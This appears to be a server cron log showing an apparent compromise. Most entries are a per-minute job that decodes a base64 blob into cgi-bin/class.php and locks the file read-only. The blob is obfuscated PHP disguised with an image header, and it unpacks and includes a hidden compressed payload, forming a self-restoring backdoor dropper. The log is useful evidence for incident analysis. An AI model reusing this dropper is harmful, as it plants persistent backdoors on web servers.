Nov 12 22:16:01 server CROND[13819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:17:01 server CROND[14687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:18:01 server CROND[15484]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:19:01 server CROND[16345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:20:01 server CROND[17213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:20:01 server CROND[17214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:20:01 server CROND[17216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 22:20:01 server CROND[17219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:20:01 server CROND[17218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:21:01 server CROND[18244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:22:01 server CROND[19045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:23:01 server CROND[19883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:24:01 server CROND[20746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:25:01 server CROND[21609]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:25:01 server CROND[21611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:25:01 server CROND[21612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:25:01 server CROND[21618]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:26:01 server CROND[22458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:27:01 server CROND[23457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:27:01 server CROND[23458]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:28:01 server CROND[24320]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
